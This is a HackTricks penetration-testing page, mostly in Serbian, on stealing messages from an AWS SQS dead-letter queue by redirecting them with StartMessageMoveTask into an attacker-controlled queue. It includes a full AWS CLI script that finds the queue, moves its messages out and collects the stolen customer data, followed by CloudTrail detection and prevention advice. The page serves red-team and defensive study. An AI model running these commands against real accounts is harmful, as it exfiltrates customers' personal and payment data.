AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Opis

Iskoristite SQS message move tasks da ukradete sve akumulirane poruke iz žrtvinog Dead-Letter Queue (DLQ) preusmeravanjem u red koji kontroliše napadač koristeći sqs:StartMessageMoveTask. Ova tehnika zloupotrebljava legitimnu AWS funkciju za oporavak poruka kako bi exfiltrate osetljive podatke koji su se tokom vremena nagomilali u DLQ.

Šta je Dead-Letter Queue (DLQ)?

Dead-Letter Queue je poseban SQS red u koji se poruke automatski šalju kada glavna aplikacija ne uspe da ih uspešno obradi. Te neuspešne poruke često sadrže:

  • Osetljive podatke iz aplikacije koji nisu mogli biti obrađeni
  • Detalje o greškama i informacije za debug
  • Lične identifikacione podatke (PII)
  • API tokene, kredencijale ili druge tajne
  • Poslovno-kritične transakcione podatke

DLQ-ovi funkcionišu kao “groblje” za neuspele poruke, zbog čega su vredne mete — akumuliraju osetljive podatke tokom vremena koje aplikacija nije uspevala da procesuira.

Scenario napada

Real-world example:

  1. E-commerce application obrađuje porudžbine kupaca preko SQS
  2. Neke porudžbine ne uspeju (problemi sa plaćanjem, zalihe, itd.) i budu premeštene u DLQ
  3. DLQ se nagomilava nedeljama/mesecima sa neuspelim porudžbinama koje sadrže podatke kupaca: {"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}
  4. Attacker gains access do AWS kredencijala sa SQS dozvolama
  5. Attacker otkriva da DLQ sadrži hiljade neuspelih porudžbina sa osetljivim podacima
  6. Umesto pokušaja pristupa pojedinačnim porukama (sporo i očigledno), napadač koristi StartMessageMoveTask da masovno prebaci SVE poruke u svoj red
  7. Attacker izvlači sve istorijske osetljive podatke u jednoj operaciji

Zahtevi

  • Izvorni red mora biti konfigurisan kao DLQ (referenciran bar od strane jednog RedrivePolicy na nekom redu).
  • IAM dozvole (izvršava se kao kompromitovani nalog žrtve):
  • Na DLQ (izvor): sqs:StartMessageMoveTask, sqs:GetQueueAttributes.
  • Na destinacionom redu: dozvola za isporuku poruka (npr. queue policy koji dozvoljava sqs:SendMessage od žrtvinog principala). Za destinacije u istom nalogu ovo je obično dozvoljeno podrazumevano.
  • Ako je omogućen SSE-KMS: na izvornoj CMK kms:Decrypt, i na destinacionoj CMK kms:GenerateDataKey, kms:Encrypt.

Uticaj

Potencijalni uticaj: Exfiltrate sensitive payloads akumulirane u DLQ-ovima (neuspešni događaji, PII, tokeni, payloadi aplikacije) velikom brzinom koristeći native SQS API-je. Radi cross-account ako policy destinacionog reda dozvoljava SendMessage od žrtvinog principala.

Kako zloupotrebiti

  • Identifikujte ARN žrtvinog DLQ i uverite se da je zaista referenciran kao DLQ od strane nekog reda (bilo koji red je dovoljan).
  • Kreirajte ili izaberite red koji kontroliše napadač i dobijte njegov ARN.
  • Pokrenite message move task sa žrtvinog DLQ-a ka vašem destinacionom redu.
  • Pratite napredak ili otkažite zadatak po potrebi.

CLI Example: Exfiltrating Customer Data from E-commerce DLQ

Scenario: Napadač je kompromitovao AWS kredencijale i otkrio da e-commerce aplikacija koristi SQS sa DLQ-om koji sadrži neuspešne pokušaje obrade porudžbina kupaca.

  1. Discover and examine the victim DLQ
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq

# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

# Check how many messages are in the DLQ (potential treasure trove!)
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
  1. Kreirajte attacker-controlled destination queue
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

echo "Created exfiltration queue: $ATTACKER_Q_ARN"
  1. Izvršite masovnu krađu poruka
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
TASK_RESPONSE=$(aws sqs start-message-move-task \
--source-arn "$SRC_ARN" \
--destination-arn "$ATTACKER_Q_ARN" \
--max-number-of-messages-per-second 100)

echo "Move task started: $TASK_RESPONSE"

# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
  1. Sakupite ukradene osetljive podatke
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--attribute-names All --message-attribute-names All \
--max-number-of-messages 10 --wait-time-seconds 5

# Example of what an attacker might see:
# {
#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
#   "MessageId": "12345-abcd-6789-efgh"
# }

# Continue receiving all messages in batches
while true; do
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--max-number-of-messages 10 --wait-time-seconds 2 --output json)

if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
echo "No more messages - exfiltration complete!"
break
fi

echo "Received batch of stolen data..."
# Process/save the stolen customer data
echo "$MESSAGES" >> stolen_customer_data.json
done

Napomene za Cross-account

  • Ciljna queue mora imati resource policy koji dozvoljava victim principal-u da izvrši sqs:SendMessage (i, ako se koristi, KMS grants/permissions).

Zašto je ovaj napad efikasan

  1. Legitiman AWS feature: Koristi ugrađenu AWS funkcionalnost, što otežava otkrivanje kao maliciozno
  2. Masovna operacija: Prebacuje hiljade poruka brzo umesto sporog pojedinačnog pristupa
  3. Istorijski podaci: DLQs akumuliraju osetljive podatke tokom nedelja/meseci
  4. Ispod radara: Mnoge organizacije ne prate pristup DLQ-ovima pažljivo
  5. Cross-Account Capable: Može exfiltrate u napadačev sopstveni AWS nalog ako dozvole to omogućavaju

Detekcija i prevencija

Detekcija

Pratite CloudTrail za sumnjive StartMessageMoveTask API pozive:

{
"eventName": "StartMessageMoveTask",
"sourceIPAddress": "suspicious-ip",
"userIdentity": {
"type": "IAMUser",
"userName": "compromised-user"
},
"requestParameters": {
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
}
}

Prevencija

  1. Princip najmanjih privilegija: Ograničite dozvole sqs:StartMessageMoveTask samo na neophodne role
  2. Monitor DLQs: Podesite CloudWatch alarme za neuobičajenu aktivnost DLQ-a
  3. Cross-Account Policies: Pažljivo pregledajte SQS queue policies koje omogućavaju cross-account pristup
  4. Encrypt DLQs: Koristite SSE-KMS sa ograničenim politikama ključeva
  5. Regular Cleanup: Ne dozvolite da se osetljivi podaci neograničeno nakupljaju u DLQ-ovima

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks